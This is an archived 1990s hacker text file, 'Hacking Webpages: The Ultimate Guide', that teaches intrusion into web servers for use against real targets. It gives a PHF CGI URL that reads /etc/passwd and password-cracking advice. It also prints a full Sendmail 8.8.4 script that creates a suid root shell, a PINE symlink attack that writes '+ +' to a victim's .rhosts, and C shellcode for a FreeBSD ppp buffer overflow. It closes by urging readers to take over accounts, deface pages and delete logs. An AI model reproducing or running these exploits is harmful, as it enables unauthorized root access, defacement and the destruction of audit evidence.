home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / internet / hackpage.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  10.2 KB  |  257 lines

  1.  
  2. Hacking Webpages
  3. The Ultimate Guide
  4. By Virtual Circuit and Psychotic
  5.  
  6.  
  7. Well Psychotic wrote one of the most helpful unix text files in cyberspace
  8. but with the mail that we recieved after the release of our famous 36 page
  9. Unix Bible we realised that unix isn't for everybody so we decided that we
  10. should write on another aspect of hacking..... Virtual Circuit and
  11. Psychotic is proud to release, "Hacking Webpages With a few Other
  12. Techniques."  We will discuss a few various ways of hacking webpages and
  13. getting root.  We are also going to interview and question other REAL
  14. hackers on the subjects.
  15.  
  16. Getting the Password File Through FTP
  17.  
  18. Ok well one of the easiest ways of getting superuser access is through
  19. anonymous ftp access into a webpage. First you need learn a little about
  20. the password file...
  21.  
  22. root:User:d7Bdg:1n2HG2:1127:20:Superuser
  23. TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
  24. BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh
  25.  
  26. This is an example of a regular encrypted password file. The Superuser is
  27. the part that gives you root. That's the main part of the file.
  28.  
  29. root:x:0:1:Superuser:/:
  30. ftp:x:202:102:Anonymous ftp:/u1/ftp:
  31. ftpadmin:x:203:102:ftp Administrator:/u1/ftp
  32.  
  33. This is another example of a password file, only this one has one little
  34. difference, it's shadowed. Shadowed password files don't let you view or
  35. copy the actual encrypted password.  This causes problems for the password
  36. cracker and dictionary maker(both explained later in the text). Below is
  37. another example of a shadowed password file:
  38.  
  39. root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
  40. daemon:x:1:1:0000-Admin(0000):/:
  41. bin:x:2:2:0000-Admin(0000):/usr/bin:
  42. sys:x:3:3:0000-Admin(0000):/:
  43. adm:x:4:4:0000-Admin(0000):/var/adm:
  44. lp:x:71:8:0000-lp(0000):/usr/spool/lp:
  45. smtp:x:0:0:mail daemon user:/:
  46. uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
  47. nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
  48. listen:x:37:4:Network Admin:/usr/net/nls:
  49. nobody:x:60001:60001:uid no body:/:
  50. noaccess:x:60002:60002:uid no access:/:
  51. webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
  52. pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false
  53. ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false
  54.  
  55. Shadowed password files have an "x" in the place of a password or sometimes
  56. they are disguised as an * as well.
  57.  
  58. Now that you know a little more about what the actual password file looks
  59. like you should be able to identify a normal encrypted pw from a shadowed
  60. pw file. We can now go on to talk about how to crack it. 
  61.  
  62. Cracking a password file isn't as complicated as it would seem, although
  63. the files vary from system to system. 1.The first step that you would take
  64. is to download or copy the file. 2. The second step is to find a password
  65. cracker and a dictionary maker. Although it's nearly impossible to find a
  66. good cracker there are a few ok ones out there. I recomend that you look
  67. for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper.
  68. Now for a dictionary maker or a dictionary file...  When you start a
  69. cracking prog you will be asked to find the the password file. That's where
  70. a dictionary maker comes in. You can download one from nearly every hacker
  71. page on the net.  A dictionary maker finds all the possible letter
  72. combinations with the alphabet that you choose(ASCII, caps, lowercase, and
  73. numeric letters may also be added) .  We will be releasing our pasword file
  74. to the public soon, it will be called, Psychotic Candy, "The Perfect Drug."
  75. As far as we know it will be one of the largest in circulation. 3. You
  76. then start up the cracker and follow the directions that it gives you.
  77.  
  78.  
  79. The PHF Technique
  80.  
  81. Well I wasn't sure if I should include this section due to the fact that
  82. everybody already knows it and most servers have already found out about
  83. the bug and fixed it. But since I have been asked questions about the phf I
  84. decided to include it.
  85.  
  86. The phf technique is by far the easiest way of getting a password
  87. file(although it doesn't work 95% of the time). But to do the phf all you
  88. do is open a browser and type in the following link: 
  89.  
  90. http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd 
  91.  
  92. You replace the webpage_goes_here with the domain. So if you were trying to
  93. get the pw file for www.webpage.com you would type:
  94.  
  95. http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
  96.  
  97. and that's it! You just sit back and copy the file(if it works).
  98.  
  99.  
  100. Telnet and Exploits 
  101.  
  102. Well exploits are the best way of hacking webpages but they are also more
  103. complicated then hacking through ftp or using the phf. Before you can setup
  104. an exploit you must first have a telnet proggie, there are many different
  105. clients you can just do a netsearch and find everything you need. It's best
  106. to get an account with your target(if possible) and view the glitches from
  107. the inside out. Exploits expose errors or bugs in systems and usually allow
  108. you to gain root access. There are many different exploits around and you
  109. can view each seperately. I'm going to list a few below but the list of
  110. exploits is endless.
  111.  
  112. This exploit is known as Sendmail v.8.8.4
  113. It creates a suid program /tmp/x that calls shell as root. This is how you
  114. set it up:
  115.  
  116. cat << _EOF_ >/tmp/x.c
  117.  #define RUN "/bin/ksh"
  118.  #include<stdio.h>
  119.  main()
  120.  {
  121.     execl(RUN,RUN,NULL);
  122.  }
  123. _EOF_
  124. #
  125. cat << _EOF_ >/tmp/spawnfish.c
  126.  main()
  127.  {
  128.    execl("/usr/lib/sendmail","/tmp/smtpd",0);      
  129.  }                                             
  130. _EOF_
  131. #
  132. cat << _EOF_ >/tmp/smtpd.c
  133.  main()
  134.  {
  135.    setuid(0); setgid(0); 
  136.    system("chown root /tmp/x ;chmod 4755 /tmp/x");
  137.  }
  138. _EOF_
  139. #
  140. #
  141. gcc -O  -o /tmp/x /tmp/x.c
  142. gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
  143. gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
  144. #
  145. /tmp/spawnfish
  146. kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`
  147. rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
  148. sleep 5
  149. if [ -u /tmp/x ] ; then
  150.    echo "leet..."
  151.    /tmp/x
  152. fi 
  153.  
  154.  
  155. and now on to another exploit. I'm going to display the pine exploit
  156. through linux. By watching the process table with ps to see which users are
  157. running PINE,  one can then do an ls in /tmp/ to gather the lockfile names
  158. for each user.  Watching the process table once again will now reveal when
  159. each user quits PINE or runs out of unread messages in their INBOX,
  160. effectively deleting the respective lockfile.
  161.  
  162. Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for
  163. a generic example) will cause PINE to create ~hamors/.rhosts as a 666 file
  164. with PINE's process id as its contents.  One may now simply do an echo "+
  165. +" > /tmp/.hamors_lockfile, then rm /tmp/.hamors_lockfile.
  166.  
  167. This was writen by Sean B. HamoràFor this example, hamors is the victim
  168. while catluvr is the attacker:
  169.  
  170. hamors (21 19:04) litterbox:~> pine
  171.  
  172. catluvr (6 19:06) litterbox:~> ps -aux | grep pine
  173. catluvr   1739  0.0  1.8  100  356 pp3 S    19:07   0:00 grep pine
  174. hamors    1732  0.8  5.7  249 1104 pp2 S    19:05   0:00 pine
  175.  
  176. catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
  177. - -rw-rw-rw-   1 hamors   elite           4 Aug 26 19:05 .302.f5a4
  178.  
  179. catluvr (8 19:07) litterbox:~> ps -aux | grep pine
  180. catluvr   1744  0.0  1.8  100  356 pp3 S    19:08   0:00 grep pine
  181.  
  182. catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4
  183.  
  184. hamors (23 19:09) litterbox:~> pine
  185.  
  186. catluvr (11 19:10) litterbox:~> ps -aux | grep pine
  187. catluvr   1759  0.0  1.8  100  356 pp3 S    19:11   0:00 grep pine
  188. hamors    1756  2.7  5.1  226  992 pp2 S    19:10   0:00 pine
  189.  
  190. catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4
  191.  
  192. catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
  193. + +
  194.  
  195. catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4
  196.  
  197. catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors
  198.  
  199. now on to another one, this will be the last one that I'm going to show.
  200.   Exploitation script for the ppp vulnerbility as described by no one to
  201.   date, this is NOT FreeBSD-SA-96:15. Works on FreeBSD as tested. Mess with
  202.   the numbers if it doesnt work. This is how you set it up:
  203.  
  204. #include <stdio.h>
  205. #include <stdlib.h>
  206. #include <unistd.h>
  207.  
  208. #define BUFFER_SIZE     156     /* size of the bufer to overflow */
  209.  
  210. #define OFFSET          -290    /* number of bytes to jump after the start
  211.                                    of the buffer */
  212.  
  213. long get_esp(void) { __asm__("movl %esp,%eax\n"); }
  214.  
  215. main(int argc, char *argv[])
  216. {
  217.         char *buf = NULL;
  218.         unsigned long *addr_ptr = NULL;
  219.         char *ptr = NULL;
  220.         char execshell[] =
  221.         "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */
  222.         "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */
  223.         "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"  /* 20 bytes */
  224.         "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";    /* 15 bytes, 57 total */
  225.    
  226.         int i,j;
  227.  
  228.         buf = malloc(4096);
  229.  
  230.         /* fill start of bufer with nops */
  231.  
  232.         i = BUFFER_SIZE-strlen(execshell);
  233.  
  234.         memset(buf, 0x90, i);
  235.         ptr = buf + i;
  236.  
  237.         /* place exploit code into the buffer */
  238.  
  239.         for(i = 0; i < strlen(execshell); i++) 
  240.                 *ptr++ = execshell[i];
  241.  
  242.         addr_ptr = (long *)ptr;
  243.         for(i=0;i < (104/4); i++)
  244.                 *addr_ptr++ = get_esp() + OFFSET;
  245.  
  246.         ptr = (char *)addr_ptr;
  247.         *ptr = 0;
  248.  
  249.         setenv("HOME", buf, 1);
  250.  
  251.         execl("/usr/sbin/ppp", "ppp", NULL);
  252. }
  253.  
  254. Now that you've gotten root "what's next?" Well the choice is up to you but I would recommend changing the password before you delete or change anything. To change their password all you have to do is login via telnet and login with your new account. Then you just type: passwd  and it will ask you for the old password first followed by the new one. Now only you will have the new pw and that should last for a while you can now upload you pages, delete all the logs and just plain do your worstJ Psychotic writes our own exploits and we will be releasing them soon, so keep your eyes open for them. We recommend that if you are serious about learing ethnical hacking that you download our Unix Bible.
  255.  
  256. ~~PSYCHOTIC~~
  257.